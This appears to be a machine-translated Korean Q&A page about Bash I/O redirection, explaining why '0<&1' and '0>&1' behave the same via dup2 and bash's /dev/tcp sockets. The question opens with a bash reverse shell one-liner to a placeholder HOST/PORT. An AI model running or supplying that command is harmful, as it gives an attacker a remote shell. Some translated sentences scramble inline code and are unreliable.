Bash의 I/O 리디렉션 이해

Bash의 I/O 리디렉션 이해

나는 이것을 발견했을 때 bash에서 리버스 쉘을 얻는 방법을 찾고 있었습니다:

bash -i > /dev/tcp/HOST/PORT 0<&1 2>&1

내가 이해하는 바에 따르면 stdout과 stderr은 /dev/tcp/HOST/PORT연결()을 통해 전송되고 stdin은 0<&1연결()을 통해 읽혀집니다. 그러나 내가 읽은 것처럼여기, 0>&1 표현식도 유효합니다. 이것은 나에게 이해가 되지 않으며(내가 아는 한 >"다음 fd에 쓰기" 및 < "다음 fd에서 읽기") 첫 번째 방법으로만 작동해야 합니다.

내 질문은: 내가 뭔가를 잊고 있는 걸까요, 아니면 완전히 틀린 걸까요? 이 I/O 리디렉션 예에는 어떤 내부 프로세스가 포함됩니까?

답변1

<&구문과 구문의 유일한 차이점 >&은 전자는 대상 파일 설명자가 입력을 위해 열려 있는지 확인하고 후자는 출력을 위해 열려 있는지 확인한다는 것입니다. 실제 작업은 두 경우 모두 동일합니다(아마도 dup2호출). 또한 대부분의 리디렉션이 > /dev/tcp/HOST/PORT시스템 호출을 수행하는 것과는 다릅니다 . open구문 /dev/tcp은 bash의 특별한 경우이며 실제로 bash는 소켓을 엽니다(그런 다음 일반 파일 설명자 wrt처럼 작동 read하고 write호출됩니다). 소켓에는 파일을 여는 것과 같은 읽기 전용 또는 읽기 전용 속성이 없습니다. 소켓은 읽기 및 쓰기를 허용합니다( shutdown(2)원하는 경우 그 중 절반을 선택할 수 있습니다). 따라서 bash는 사용된 두 구문 모두에서 리디렉션 오류를 받지 않으며 호출이 dup2동일하므로 동작도 동일합니다.

답변2

예. < >에 적용될 때 말하는 내용을 나타냅니다 open(). 그러나 기존 파일 설명자를 사용할 때는 이 작업을 수행하지 마십시오. 이미 open()삭제되었습니다. 따라서 쉘이 이미 획득한 파일 설명자의 읽기/쓰기 특성을 변경하지 않고 단지 변경하기만 하기 때문에 어떤 플래그를 사용하는지는 중요하지 않습니다 dup().

그래서...

{ read v <&4; } 4>/dev/null

read: read error: 0: Bad file descriptor

하지만...

{ read v 0>&4; } 4</dev/null

... 전혀 불평하지 않습니다.

위의 두 예 모두에서 파일 설명자가 성공적으로 복사되었습니다. 쉘은 잘 작동하기 때문에 fd 복제에 대해 불평하지 않습니다. 이는 기본적으로 이전과 동일한 불만 사항입니다.

{ echo hi there; read v; } 0>/dev/null

hi there
read: read error: 0: Bad file descriptor

read파일 설명자 0에서 읽으려고 하면 EBADF를 받기 때문에 불만이 표시됩니다 . 두 번째 예에서 &4stdin에 대한 쓰기 전용을 성공적으로 수행한 것처럼 쉘은 첫 번째 예에서 stdin에 성공적으로 복사합니다.open()

사실, fd dup의 맥락에서 <and >표시는 완전히 관련이 없습니다. 왜냐하면 <&[num]and는 여전히 and 물론 의 약어이기 때문입니다 >&[num].0<&[num]1>&[num]

관련 정보